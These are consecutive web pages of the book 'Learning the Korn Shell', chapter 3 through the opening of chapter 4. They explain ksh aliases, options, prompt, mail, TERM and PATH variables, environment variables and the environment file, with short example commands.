If you are a C shell user, you may be used to having a .logout file of commands that the shell executes just before you log out. The Korn shell doesn't have this feature as such, but you can mimic it quite easily using an alias:

alias logout='. ~/.ksh_logout; exit'

This reads commands in from the file .ksh_logout in your home directory and then logs you out. The semicolon acts as a statement separator, allowing you to have more than one command on the same line.

You might want the file .logout to "clean up" your history files, as we discussed in the last chapter. Recall that we created history files with the filename .hist$$, which guarantees a unique name for every shell. To remove these files when the shells exit, just put this line in your .logout file:

rm ~/.hist$$

Some people who aren't particularly good typists like to use aliases for typographical errors they make often. For example:

alias emcas=emacs
alias mali=mail
alias gerp=grep

This can be handy, but we feel you're probably better off suffering with the error message and getting the correct spelling under your fingers. Another common way to use an alias is as a shorthand for a longer command string. For example, you may have a directory to which you need to go often. It's buried deeply in your directory hierarchy, so you want to set up an alias that will allow you to cd there without typing (or even remembering) the entire pathname:

alias cdcm='cd work/projects/devtools/windows/confman'

Notice the quotes around the full cd command; these are necessary if the string being aliased consists of more than one word. [4]

[4] This contrasts with C shell aliases, in which the quotes aren't required.

As another example, a useful option to the ls command is -F: it puts a slash (/) after directory files and an asterisk (*) after executable files. Since typing a dash followed by a capital letter is inconvenient, many people like to define an alias like this:

alias lf='ls -F'

A few things about aliases are important to remember. First, the Korn shell makes a textual substitution of the alias for that which it is aliasing; it may help to imagine ksh passing your command through a text editor or word processor and issuing a "change" or "substitute" command before interpreting and executing it.

This, in turn, means that any special characters (such as wildcards like * and ?) that result when the alias is expanded are interpreted properly by the shell. [5] For example, to make it easier to print all of the files in your directory, you could define the alias:

[5] An important corollary: wildcards and other special characters cannot be used in the names of aliases, i.e., on the left side of the equal sign.

alias printall='pr * | lpr'

Second, keep in mind that aliases are recursive, which means that it is possible to alias an alias. A legitimate objection to the previous example is that the alias, while mnemonic, is too long and doesn't save enough typing. If we want to keep this alias but add a shorter abbreviation, we could define:

alias pa=printall

Recursive aliasing makes it possible to set up an "infinite loop" of definitions, wherein an alias ends up (perhaps after several lookups) being defined as itself. For example, the command:

alias ls='ls -l'

sets up a possible infinite loop. Luckily, the shell has a mechanism to guard against such dangers. The above command will work as expected (typing ls produces a long list with permissions, sizes, owners, etc.), while in more pathological situations such as:

alias listfile=ls
alias ls=listfile

the alias listfile is ignored.

Aliases can only be used for the beginning of a command string-albeit with certain exceptions. In the cd example above, you might want to define an alias for the directory name alone, not for the entire command. But if you define:

alias cm=work/projects/devtools/windows/confman

and then type cd cm, the Korn shell will probably print a message like ksh: cm: not found.

An obscure, rather ugly feature of the Korn shell's alias facility-one not present in the analogous C shell feature-provides a way around this problem. If the value of an alias (the right side of the equal sign) ends in a blank, then the Korn shell tries to do alias substitution on the next word on the command line. To make the value of an alias end in a blank, you need to surround it with quotes.

Here is how you would use this capability to allow aliases for directory names, at least for use with the cd command. Just define:

alias cd='cd '

This causes the Korn shell to search for an alias for the directory name argument to cd, which in the previous example would enable it to expand the alias cm correctly.

3.2.1 Tracked Aliases

Another rather obscure feature of the alias facility is the tracked alias, which can shorten the time it takes the shell to invoke commands. If you specify this option (as shown under "Options" below), then for all subsequent alias definitions, the shell will internally substitute the full pathname of each command for which an alias is defined. You can also define individual tracked aliases with the option -t to the alias command, and you can list all tracked aliases by typing alias -t by itself.

As you will see later in this chapter, a tracked alias cuts down the number of steps the shell has to take to find the command when you want to run it. More important, however, are its implications for system security; see Chapter 10, Korn Shell Administration.

For example, assume that you have defined the alias em for the emacs editor, which is kept in the executable file /usr/local/bin/emacs. If you specify that you want aliases tracked, then the first time you type em myfile, the shell will substitute the full pathname, i.e., as if you had defined the alias as:

alias em=/usr/local/bin/emacs

You'll see how this can save time when you read about the PATH environment variable later on.

Finally, there are a few useful adjuncts to the basic alias command. If you type alias name without an equal sign (=) and value, the shell will print the alias' value or alias name not found if it is undefined. If you type alias without any arguments, you get a list of all the aliases you have defined as well as several that are built-in. The command unalias name removes any alias definition for its argument.

Aliases are very handy for creating a comfortable environment, but they are really just kid stuff compared to more advanced customization techniques like scripts and functions, which we will see in the next chapter. These give you everything aliases do plus much more, so if you become proficient at them, you may find that you don't need aliases anymore. However, aliases are ideal for novices who find UNIX to be a rather forbidding place, full of terseness and devoid of good mnemonics.

Previous: 3.1 The .profile File | Learning the Korn Shell | Next: 3.3 Options
3.1 The .profile File | Book Index | 3.3 Options
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.3 Options

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 3.2 Aliases Chapter 3
Customizing Your Environment 		Next: 3.4 Shell Variables

3.3 Options

While aliases let you create convenient names for commands, they don't really let you change the shell's behavior. Options are one way of doing this. A shell option is a setting that is either "on" or "off." While several options relate to arcane shell features that are of interest only to programmers, those that we will cover here are of interest to all users.

The basic commands that relate to options are set -o optionnames and set +o optionnames, where optionnames is a list of option names separated by blanks. The use of plus (+) and minus (-) signs is counterintuitive: the - turns the named option on, while the + turns it off. The reason for this incongruity is that the dash (-) is the conventional UNIX way of specifying options to a command, while the use of + is an afterthought.

Most options also have one-letter abbreviations that can be used in lieu of the set -o command; for example, set -o noglob can be abbreviated set -f. These abbreviations are carry-overs from the Bourne shell. Like several other "extra" Korn shell features, they exist to ensure upward compatibility; otherwise, their use is not encouraged.

Table 3.1 lists the options that are useful to general UNIX users. All of them are off by default except as noted.

Table 3.1: Basic Shell Options
Option | Description
bgnice | Run background jobs at lower priority (on by default)
emacs | Enter emacs editing mode
ignoreeof | Don't allow use of [CTRL-D] to log off; require the exit command
markdirs | When expanding filename wildcards, append a slash (/) to directories
noclobber | Don't allow output redirection (>) to clobber an existing file
noglob | Don't expand filename wildcards like * and ? (wildcard expansion is sometimes called globbing)
nounset | Indicate an error when trying to use a variable that is undefined
trackall | Turn on alias tracking[6]
vi | Enter vi editing mode

[6] Future releases will have alias tracking enabled at all times and won't support this option.

There are several other options (22 in all; Appendix B lists them). To check the status of an option, just type set -o. The Korn shell will print a list of all options along with their settings. There is no direct way to test a single option, but here is a simple shell function to do it:

function testopt {
    if [[ -o $1 ]] ; then
        print Option $1 is on.
    else
        print Option $1 is off.
    fi
}

Shell functions will be covered in the next chapter. For now, though, if you want to use the testopt function, just type it into your .profile or environment file (see the section entitled "The Environment File"), then type either login or . .profile. Then you can type testopt optionname to check the status of an option.

Previous: 3.2 Aliases | Learning the Korn Shell | Next: 3.4 Shell Variables
3.2 Aliases | Book Index | 3.4 Shell Variables
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.4 Shell Variables

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 3.3 Options Chapter 3
Customizing Your Environment 		Next: 3.5 Customization and Subprocesses

3.4 Shell Variables

There are several characteristics of your environment that you may want to customize but that cannot be expressed as an on/off choice. Characteristics of this type are specified in shell variables. Shell variables can specify everything from your prompt string to how often the shell checks for new mail.

Like an alias, a shell variable is a name that has a value associated with it. The Korn shell keeps track of several built-in shell variables; shell programmers can add their own. By convention, built-in variables have names in all capital letters. The syntax for defining variables is somewhat similar to the syntax for aliases:

varname=value

There must be no space on either side of the equal sign, and if the value is more than one word, it must be surrounded by quotes. To use the value of a variable in a command, precede its name by a dollar sign ($).

You can delete a variable with the command unset varname. Normally this isn't useful, since all variables that don't exist are assumed to be null, i.e., equal to the empty string "". But if you use the option nounset (see Table 3.1), which causes the shell to indicate an error when it encounters an undefined variable, then you may be interested in unset.

The easiest way to check a variable's value is to use the print built-in command. [7] All print does is print its arguments, but not until the shell has evaluated them. This includes-among other things that will be discussed later-taking the values of variables and expanding filename wildcards. So, if the variable fred has the value bob, typing:

[7] The Korn shell supports the old command echo, which does much the same thing, for backward compatibility reasons. However, we strongly recommend print because its options are the same on all UNIX systems, whereas echo's options differ between BSD-derived and System V-derived UNIX versions.

$ print "$fred"

will cause the shell to simply print bob. If the variable is undefined, the shell will print a blank line. A more verbose way to do this is:

$ print "The value of \$varname is \"$varname\"."

The first dollar sign and the inner double quotes are backslash-escaped (i.e., preceded with \ so the shell doesn't try to interpret them; see Chapter 1) so that they appear literally in the output, which for the above example would be:

The value of $fred is "bob".

3.4.1 Variables and Quoting

Notice that we used double quotes around variables (and strings containing them) in these print examples. In Chapter 1 we said that some special characters inside double quotes are still interpreted (while none are interepreted inside single quotes). We've seen one of these special characters already: the tilde (~), which is expanded to your (or another user's) home directory.

Another special character that "survives" double quotes is the dollar sign - meaning that variables are evaluated. It's possible to do without the double quotes in some cases; for example, we could have written the above print command this way:

$ print The value of \$varname is \"$varname\".

But double quotes are more generally correct.

Here's why. Suppose we did this:

$ fred=>'Four spaces between these    words.'

Then if we entered the command print $fred, the result would be:

Four spaces between these words.

What happened to the extra spaces? Without the double quotes, the shell split the string into words after substituting the variable's value, as it normally does when it processes command lines. The double quotes circumvent this part of the process (by making the shell think that the whole quoted string is a single word).

Therefore the command print "$fred" prints this:

Four spaces between these    words.

This becomes particularly important when we start dealing with variables that contain user or file input later on.

Double quotes also allow other special characters to work, as we'll see in Chapters 4, 6, and 7. But for now, we'll revise the "When in doubt, use single quotes" rule in Chapter 1 by adding, "...unless a string contains a variable, in which case you should use double quotes."

3.4.2 Built-in Variables

As with options, some built-in shell variables are meaningful to general UNIX users, while others are arcana for hackers. We'll look at the more generally useful ones here, and we'll save some of the more obscure ones for later chapters. Again, Appendix B contains a complete list.

3.4.2.1 Editing mode variables

Several shell variables relate to the command-line editing modes that we saw in the previous chapter. These are listed in Table 3.2.

The first two of these are sometimes used by text editors and other screen-oriented programs, which rely on the variables being set correctly. Although the Korn shell and most windowing systems should know how to set them correctly, you should look at the values of COLUMNS and LINES if you are having display trouble with a screen-oriented program.

Table 3.2: Editing Mode Variables
Variable | Meaning
COLUMNS | Width, in character columns, of your terminal. The standard value is 80 (sometimes 132), though if you are using a windowing system like X, you could give a terminal window any size you wish.
LINES | Length of your terminal in text lines. The standard value for terminals is 24, but for IBM PC-compatible monitors it's 25; once again, if you are using a windowing system, you can usually resize to any amount.
HISTFILE | Name of history file, on which the editing modes operate.
EDITOR | Pathname of your favorite text editor; the suffix (macs or vi) determines which editing mode to use.
VISUAL | Similar to EDITOR; used if EDITOR is not set or vice versa.
FCEDIT | Pathname of editor to use with the fc command.

3.4.2.2 Mail Variables

Since the mail program is not running all the time, there is no way for it to inform you when you get new mail; therefore the shell does this instead. [8] The shell can't actually check for incoming mail, but it can look at your mail file periodically and determine whether the file has been modified since the last check. The variables listed in Table 3.3 let you control how this works.

[8] BSD UNIX users should note that the biff command on those systems does a better job of this; while the Korn shell only prints "you have mail" messages right before it prints command prompts, biff can do so at any time.

Table 3.3: Mail Variables
Variable | Meaning
MAIL | Name of file to check for incoming mail (i.e., your mail file)
MAILCHECK | How often, in seconds, to check for new mail (default 600 seconds, or 10 minutes)
MAILPATH | List of filenames, separated by colons (:), to check for incoming mail

Under the simplest scenario, you use the standard UNIX mail program, and your mail file is /usr/mail/yourname or something similar. In this case, you would just set the variable MAIL to this filename if you want your mail checked:

MAIL=/usr/mail/yourname

If your system administrator hasn't already done it for you, put a line like this in your .profile.

However, some people use nonstandard mailers that use multiple mail files; MAILPATH was designed to accommodate this. The Korn shell will use the value of MAIL as the name of the file to check, unless MAILPATH is set, in which case the shell will check each file in the MAILPATH list for new mail. You can use this mechanism to have the shell print a different message for each mail file: for each mail filename in MAILPATH, append a question mark followed by the message you want printed.

For example, let's say you have a mail system that automatically sorts your mail into files according to the username of the sender. You have mail files called /usr/mail/you/fritchie, /usr/mail/you/droberts, /usr/mail/you/jphelps, etc. You define your MAILPATH as follows:

MAILPATH=/usr/mail/you/fritchie:/usr/mail/you/droberts:\
/usr/mail/you/jphelps

If you get mail from Jennifer Phelps, then the file /usr/mail/you/jphelps will change. The Korn shell will notice the change within 10 minutes and print the message:

you have mail in /usr/mail/you/jphelps.

If you are in the middle of running a command, the shell will wait until the command finishes (or is suspended) to print the message. To customize this further, you could define MAILPATH to be:

MAILPATH=\
/usr/mail/you/fritchie?You have mail from Fiona.:\
/usr/mail/you/droberts?Mail from Dave has arrived.:\
/usr/mail/you/jphelps?There is new mail from Jennifer.

The backslashes at the end of each line allow you to continue your command on the next line. But be careful: you can't indent subsequent lines. Now, if you get mail from Jennifer, the shell will print:

There is new mail from Jennifer.

3.4.2.3 Prompting Variables

If you have seen enough experienced UNIX users at work, you may already have realized that the shell's prompt is not engraved in stone. It seems as though one of the favorite pastimes of UNIX hackers is thinking of cute or innovative prompt strings. We'll give you some of the information you need to do your own here; the rest will come in the next chapter.

Actually, the Korn shell uses four prompt strings. They are stored in the variables PS1, PS2, PS3, and PS4. The first of these is called the primary prompt string; it is your usual shell prompt, and its default value is "$ " (a dollar sign followed by a space). Many people like to set their primary prompt string to something containing their login name. Here is one way to do this:

PS1="($LOGNAME)-> "

LOGNAME is another built-in shell variable, which is set to your login name when you log in. So, PS1 becomes a left parenthesis, followed by your login name, followed by ")-> ". If your login name is fred, your prompt string will be "(fred)-> ". If you are a C shell user and, like many such people, are used to having a command number in your prompt string, the Korn shell can do this similarly to the C shell: if there is an exclamation point in the prompt string, it will substitute the command number. Thus, if you define your prompt string to be:

PS1="($LOGNAME !)->"

then your prompts will be like (fred 1)->, (fred 2)->, and so on.

But perhaps the most useful way to set up your prompt string is so that it always contains your current directory. This way, you needn't type pwd to remember where you are. Putting your directory in the prompt is more complicated than the above examples, because your current directory changes during your login session, whereas your login name and the name of your machine don't. But we can accommodate this by taking advantage of some of the shell's arcane quoting rules. Here's how:

PS1='($PWD)-> '

The difference is the single quotes, instead of double quotes, surrounding the string on the right side of the assignment. Notice that this string is evaluated twice: once when the assignment to PS1 is done (in your .profile or environment file) and then again after every command you enter. Here's what each of these evaluations does:

  1. The first evaluation just observes the single quotes and returns what is inside them without further processing. As a result, PS1 contains the string ($PWD)-> .

  2. After every command, the shell evaluates ($PWD)->. PWD is a built-in variable that is always equal to the current directory, so the result is a primary prompt that always contains the current directory.

We'll add to this example in Chapter 7, Input/Output and Command-line Processing. PS2 is called the secondary prompt string; its default value is >. It is used when you type an incomplete line and hit RETURN, as an indication that you must finish your command. For example, assume that you start a quoted string but don't close the quote. Then if you hit RETURN, the shell will print > and wait for you to finish the string:

$ print "This is a long line,		# PS1 for the command
> which is terminated down here"	# PS2 for the continuation
$					# PS1 for the next command

PS3 and PS4 relate to shell programming and debugging, respectively; they will be explained in Chapter 5, Flow Control and Chapter 9, Debugging Shell Programs.

3.4.2.4 Terminal Types

The shell variable TERM is vitally important for any program that uses your entire screen or window, like a text editor. Such programs include all screen editors (such as vi and emacs), more, and countless third-party applications.

Because users are spending more and more time within programs, and less and less using the shell itself, it is extremely important that your TERM is set correctly. It's really your system administrator's job to help you do this (or to do it for you), but in case you need to do it yourself, here are a few guidelines.

The value of TERM must be a short character string with lowercase letters that appears as a filename in the terminfo database. [9] This database is a two-tiered directory of files under the root directory /usr/lib/terminfo. This directory contains subdirectories with single-character names; these in turn contain files of terminal information for all terminals whose names begin with that character. Each file describes how to tell the terminal in question to do certain common things like position the cursor on the screen, go into reverse video, scroll, insert text, and so on. The descriptions are in binary form (i.e., not readable by humans).

[9] Versions of UNIX not derived from System V use termcap, an older-style database of terminal capabilities that uses the single file /etc/termcap for all terminal descriptions.

Names of terminal description files are the same as that of the terminal being described; sometimes an abbreviation is used. For example, the DEC VT100 has a description in the file /usr/lib/terminfo/v/vt100; a monitor for a 386-based PC/AT has a description in the file /usr/lib/terminfo/A/AT-386M. An xterm terminal window under the X Window System has a description in /usr/lib/terminfo/x/xterm.

Sometimes your UNIX software will set up TERM correctly; this usually happens for X terminals and PC-based UNIX systems. Therefore, you should check the value of TERM by typing print $TERM before going any further. If you find that your UNIX system isn't setting the right value for you (especially likely if your terminal is of a different make than your computer), you need to find the appropriate value of TERM yourself.

The best way to find the TERM value-if you can't find a local guru to do it for you-is to guess the terminfo name and search for a file of that name under /usr/lib/terminfo by using ls. For example, if your terminal is a Blivitz BL-35A, you could try:

$ cd /usr/lib/terminfo
$ ls b/bl*

If you are successful, you will see something like this:

bl35a           blivitz35a

In this case, the two names are likely to be synonyms for (links to) the same terminal description, so you could use either one as a value of TERM. In other words, you could put either of these two lines in your .profile:

TERM=bl35a
TERM=blivitz35a

If you aren't successful, ls won't print anything, and you will have to make another guess and try again. If you find that terminfo contains nothing that resembles your terminal, all is not lost. Consult your terminal's manual to see if the terminal can emulate a more popular model; nowadays the odds of this are excellent.

Conversely, terminfo may have several entries that relate to your terminal, for submodels, special modes, etc. If you have a choice of which entry to use as your value of TERM, we suggest you test each one out with your text editor or any other screen-oriented programs you use and see which one works best.

The process is much simpler if you are using a windowing system, in which your "terminals" are logical portions of the screen rather than physical devices. In this case, operating system-dependent software was written to control your terminal window(s), so the odds are very good that if it knows how to handle window resizing and complex cursor motion, then it is capable of dealing with simple things like TERM. The X Window System, for example, automatically sets "xterm" as its value for TERM in an xterm terminal window.

3.4.2.5 Command Search Path

Another important variable is PATH, which helps the shell find the commands you enter.

As you probably know, every command you use is actually a file that contains code for your machine to run. [10] These files are called executable files or just executables for short. They are stored in various different directories. Some directories, like /bin or /usr/bin, are standard on all UNIX systems; some depend on the particular version of UNIX you are using; some are unique to your machine; if you are a programmer, some may even be your own. In any case, there is no reason why you should have to know where a command's executable file is in order to run it.

[10] Unless it's a built-in command (one of those shown in boldface, like cd and print), in which case the code is simply part of the executable file for the entire shell.

That is where PATH comes in. Its value is a list of directories that the shell searches every time you enter a command; [11] the directory names are separated by colons (:), just like the files in MAILPATH. For example, if you type print $PATH, you will see something like this:

[11] Unless the command name contains a slash (/), in which case the search does not take place.

/sbin:/usr/sbin:/usr/bin:/etc:/usr/ucb:/local/bin

Why should you care about your path? There are two main reasons. First, once you have read the later chapters of this book and you try writing your own shell programs, you will want to test them and eventually set aside a directory for them. Second, your system may be set up so that certain "restricted" commands' executable files are kept in directories that are not listed in PATH. For example, there may be a directory /usr/games in which there are executables that are verboten during regular working hours.

Therefore you may want to add directories to your PATH. Let's say you have created a bin directory under your login directory, which is /home/you, for your own shell scripts and programs. To add this directory to your PATH so that it is there every time you log in, put this line in your .profile:

PATH=$PATH":/home/you/bin"

This sets PATH to whatever it was before, followed immediately by a colon and /home/you/bin.

This is the "safe" way of doing it. When you enter a command, the shell searches directories in the order they appear in PATH until it finds an executable file. Therefore, if you have a shell script or program whose name is the same as an existing command, the shell will use the existing command-unless you type in the command's full pathname to disambiguate. For example, if you have created your own version of the more command in the above directory and your PATH is set up as in the last example, you will need to type /home/you/bin/more (or just ~/bin/more) to get your version.

The more reckless way of resetting your path is to tell the shell to look in your directory first by putting it before the other directories in your PATH:

PATH="/home/you/bin:"$PATH

This is less safe because you are trusting that your own version of the more command works properly. But it is also risky for a more important reason: system security. If your PATH is set up in this way, you leave open a "hole" that is well known to computer crackers and mischief makers: they can install "Trojan horses" and do other things to steal files or do damage. (See Chapter 10 for more details.) Therefore, unless you have complete control of (and confidence in) everyone who uses your system, use the first of the two methods of adding your own command directory.

If you need to know which directory a command comes from, you need not look at directories in your PATH until you find it. The shell built-in command whence prints the full pathname of the command you give it as argument, or just the command's name if it's a built-in command itself (like cd), an alias, or a function (as we'll see in Chapter 4, Basic Shell Programming).

3.4.2.6 PATH and Tracked Aliases

It is worth noting that a search through the directories in your PATH can take time. You won't exactly die if you hold your breath for the length of time it takes for most computers to search your PATH, but the large number of disk I/O operations involved in some PATH searches can take longer than the command you invoked takes to run!

The Korn shell provides a way to circumvent PATH searches: the tracked alias mechanism we saw earlier in this chapter. First, notice that if you specify a command by giving its full pathname, the shell won't even use your PATH-instead, it will just go directly to the executable file.

Tracked aliases do this for you automatically. If you have alias tracking turned on, then the first time you invoke an alias, the shell looks for the executable in the normal way (through PATH). Then it stores the full pathname as if it were the alias, so that the next time you invoke the command, the shell will use the full pathname and not bother with PATH at all. If you ever change your PATH, the shell marks tracked aliases as "undefined," so that it will search for the full pathnames again when you invoke the corresponding commands.

In fact, you can add tracked aliases for the sole purpose of avoiding PATH lookup of commands that you use particularly often. Just put a "trivial alias" of the form alias -t command =command in your .profile or environment file; the shell will substitute the full pathname itself. [12]

[12] Actually, the shell predefines tracked aliases for most widely-used UNIX utilities.

3.4.3 Directory Search Path

CDPATH is a variable whose value, like that of PATH, is a list of directories separated by colons. Its purpose is to augment the functionality of the cd built-in command.

By default, CDPATH isn't set (meaning that it is null), and when you type cd dirname, the shell will look in the current directory for a subdirectory called dirname. [13] If you set CDPATH, you give the shell a list of places to look for dirname; the list may or may not include the current directory.

[13] As with PATH, this search is disabled when dirname starts with a slash.

Here is an example. Consider the alias for the long cd command from earlier in this chapter:

alias cdcm="cd work/projects/devtools/windows/confman"

Now suppose there were a few directories under this directory to which you need to go often; they are called src, bin, and doc. You define your CDPATH like this:

CDPATH=:~/work/projects/devtools/windows/confman

In other words, you define your CDPATH to be the empty string (meaning the current directory, wherever you happen to be) followed by ~/work/projects/devtools/windows/confman.

With this setup, if you type cd doc, then the shell will look in the current directory for a (sub)directory called doc. Assuming that it doesn't find one, it looks in the directory ~/work/projects/devtools/windows/confman. The shell finds the dirname directory there, so you go directly there.

This feature gives you yet another way to save typing when you need to cd often to directories that are buried deep in your file hierarchy. You may find yourself going to a specific group of directories often as you work on a particular project, and then changing to another set of directories when you switch to another project. This implies that the CDPATH feature is only useful if you update it whenever your work habits change; if you don't, you may occasionally find yourself where you don't want to be.

3.4.3.1 Miscellaneous Variables

We have covered the shell variables that are important from the standpoint of customization. There are also several that serve as status indicators and for various other miscellaneous purposes. Their meanings are relatively straightforward; the more basic ones are summarized in Table 3.4.

The shell sets the values of these variables (the first three at login time, the last two whenever you change directories). Although you can also set their values, just like any other variables, it is difficult to imagine any situation where you would want to.

Table 3.4: Status Variables
Variable | Meaning
HOME | Name of your home (login) directory
SECONDS | Number of seconds since the shell was invoked
SHELL | Pathname of the shell you are running
PWD | Current directory
OLDPWD | Previous directory before the last cd command

Previous: 3.3 Options | Learning the Korn Shell | Next: 3.5 Customization and Subprocesses
3.3 Options | Book Index | 3.5 Customization and Subprocesses
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.5 Customization and Subprocesses

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 3.4 Shell Variables Chapter 3
Customizing Your Environment 		Next: 3.6 Customization Hints

3.5 Customization and Subprocesses

Some of the variables discussed above are used by commands you may run-as opposed to the shell itself-so that they can determine certain aspects of your environment. The majority, however, are not even known outside the shell.

This dichotomy begs an important question: which shell "things" are known outside the shell, and which are only internal? This question is at the heart of many misunderstandings about the shell and shell programming. Before we answer, we'll ask it again in a more precise way: which shell "things" are known to subprocesses? Remember that whenever you enter a command, you are telling the shell to run that command in a subprocess; furthermore, some complex programs may start their own subprocesses.

Now for the answer, which (like many UNIX concepts) is unfortunately not as simple as you might like. A few things are known to subprocesses, but the reverse is not true: subprocesses can never make these things known to the processes that created them.

Which things are known depends on whether the subprocess in question is a Korn shell program (see Chapter 4) or interactive shell. If the subprocess is a Korn shell program, then it's possible to propagate every type of thing we've seen in this chapter-aliases, options, and variables-plus a few we'll see later.

3.5.1 Environment Variables

By default, only one kind of thing is known to all kinds of subprocesses: a special class of shell variables called environment variables. Some of the built-in variables we have seen are actually environment variables: HISTFILE, HOME, LOGNAME, MAIL, MAILPATH, PATH, PWD, SHELL, and TERM.

It should be clear why these and other variables need to be known by subprocesses. We have already seen the most obvious example: text editors like vi and emacs need to know what kind of terminal you are using; TERM is their way of determining this. As another example, most UNIX mail programs allow you to edit a message with your favorite text editor. How does mail know which editor to use? The value of EDITOR (or sometimes VISUAL).

Any variable can become an environment variable. First it must be defined as usual; then it must be exported with the command:

export varnames

(varnames can be a list of variable names separated by blanks.)

You can also define variables to be in the environment of a particular subprocess (command) only, by preceding the command with the variable assignment, like this:

varname=value command

You can put as many assignments before the command as you want. [14] For example, assume that you're using the emacs editor. You are having problems getting it to work with your terminal, so you're experimenting with different values of TERM. You can do this most easily by entering commands that look like:

[14] There is an obscure option, keyword, that (if turned on) lets you put this type of environment variable definition anywhere on the command line, not just at the beginning. Future releases, however, won't support this option.

TERM=trythisone emacs filename

emacs will have trythisone defined as its value of TERM, yet the environment variable in your shell will keep whatever value (if any) it had before. This syntax is not very widely used, so we won't see it very often throughout the remainder of this book.

Nevertheless, environment variables are important. Most .profile files include definitions of environment variables; the sample built-in .profile earlier in this chapter contained two such definitions:

EDITOR=/usr/local/bin/emacs
SHELL=/bin/ksh
export EDITOR

For some reason, the Korn shell doesn't make EDITOR an environment variable by default. This means, among other things, that mail will not know which editor to use when you want to edit a message. [15] Therefore you would have to export it yourself by using the above export command in your .profile.

[15] Actually, it will default to the line editor ed. You don't want that, now do you?

The second line in the above code is meant for systems that do not have the Korn shell installed as the default shell, i.e., as /bin/sh. Some programs run shells as subprocesses within themselves (e.g., many mail programs and the emacs editor's shell mode); by convention they use the SHELL variable to determine which shell to use.

You can find out which variables are environment variables and what their values are by typing export without arguments.

3.5.2 The Environment File

Although environment variables will always be known to subprocesses, the shell must be explicitly told which other variables, options, aliases, etc., are to be communicated to subprocesses. The way to do this is to put all such definitions in a special file called the environment file instead of your .profile.

You can call the environment file anything you like, as long as you set the environment variable ENV to the file's name. The usual way to do this is as follows:

  1. Decide which definitions in your .profile you want to propagate to subprocesses. Remove them from .profile and put them in a file you will designate as your environment file.

  2. Put a line in your .profile that tells the shell where your environment file is:

    ENV=envfilename

  3. For the changes to take effect, type either . .profile or login. [16] In either case, your environment file will be run when the shell encounters the ENV= statement.

    [16] The latter assumes that the Korn shell is defined as your login shell. If it isn't, you must do the former - or better yet, have your system administrator install it as your login shell!

The idea of the environment file comes from the C shell's .cshrc file; thus, many Korn shell users who came from the C shell world call their environment files .kshrc. (The rc suffix for initialization files is practically universal throughout the UNIX world. According to the folklore, it stands for "run commands" and has origins in old DEC operating systems.)

As a general rule, you should put as few definitions as possible in .profile and as many as possible in your environment file. Because definitions add to rather than take away from an environment, there is little chance that they will cause something in a subprocess not to work properly. (An exception might be name clashes if you go overboard with aliases.)

The only things that really need to be in .profile are commands that aren't definitions but actually run or produce output when you log in. Option and alias definitions should go into the environment file. In fact, there are many Korn shell users who have tiny .profile files, e.g.:

stty stop ^S intr ^C erase ^?
date
from
export ENV=~/.kshrc

(The from command, in some versions of UNIX, checks if you have any mail and prints a list of message headers if you do.) Although this is a small .profile, this user's environment file could be huge.

Previous: 3.4 Shell Variables | Learning the Korn Shell | Next: 3.6 Customization Hints
3.4 Shell Variables | Book Index | 3.6 Customization Hints
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 3] 3.6 Customization Hints

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 3.5 Customization and Subprocesses Chapter 3
Customizing Your Environment 		Next: 4. Basic Shell Programming

3.6 Customization Hints

You should feel free to try any of the techniques presented in this chapter. The best strategy is to test something out by typing it into the shell during your login session; then if you decide you want to make it a permanent part of your environment, add it to your .profile.

A nice, painless way to add to your .profile without going into a text editor makes use of the print command and one of the Korn shell's editing modes. If you type a customization command in and later decide to add it to your .profile, you can recall it via [CTRL-P] or [CTRL-R] (in emacs-mode) or j, -, or ? (vi-mode). Let's say the line is:

PS1="($LOGNAME !)->"

After you recall it, edit it so that it is preceded by a print command, surrounded by single quotes, and followed by an I/O redirector that (as you will see in Chapter 7) appends the output to ~/.profile:

$ print 'PS1="($LOGNAME !)->"' >> ~/.profile

Remember that the single quotes are important because they prevent the shell from trying to interpret things like dollar signs, double quotes, and exclamation points.

You should also feel free to snoop around other peoples' .profiles for customization ideas. A quick way to examine everyone's .profile is as follows: let's assume that all login directories are under /home. Then you can type:

$ cat /home/*/.profile > ~/other_profiles

and examine other people's .profiles with a text editor at your leisure (assuming you have read permission on them). If other users have environment files, the file you just created will show what they are, and you can examine them as well.

Previous: 3.5 Customization and Subprocesses | Learning the Korn Shell | Next: 4. Basic Shell Programming
3.5 Customization and Subprocesses | Book Index | 4. Basic Shell Programming
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] Basic Shell Programming

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 3.6 Customization Hints Chapter 4 Next: 4.2 Shell Variables

4. Basic Shell Programming

Contents:
Shell Scripts and Functions
Shell Variables
String Operators
Command Substitution
Advanced Examples: pushd and popd

If you have become familiar with the customization techniques we presented in the previous chapter, you have probably run into various modifications to your environment that you want to make but can't-yet. Shell programming makes these possible.

The Korn shell has some of the most advanced programming capabilities of any command interpreter of its type. Although its syntax is nowhere near as elegant or consistent as that of most conventional programming languages, its power and flexibility are comparable. In fact, the Korn shell can be used as a complete environment for writing software prototypes.

Some aspects of Korn shell programming are really extensions of the customization techniques we have already seen, while others resemble traditional programming language features. We have structured this chapter so that if you aren't a programmer, you can read this chapter and do quite a bit more than you could with the information in the previous chapter. Experience with a conventional programming language like Pascal or C is helpful (though not strictly necessary) for subsequent chapters. Throughout the rest of the book, we will encounter occasional programming problems, called tasks, whose solutions make use of the concepts we cover.

4.1 Shell Scripts and Functions

A script, or file that contains shell commands, is a shell program. Your .profile and environment files, discussed in Chapter 7, Input/Output and Command-line Processing are shell scripts.

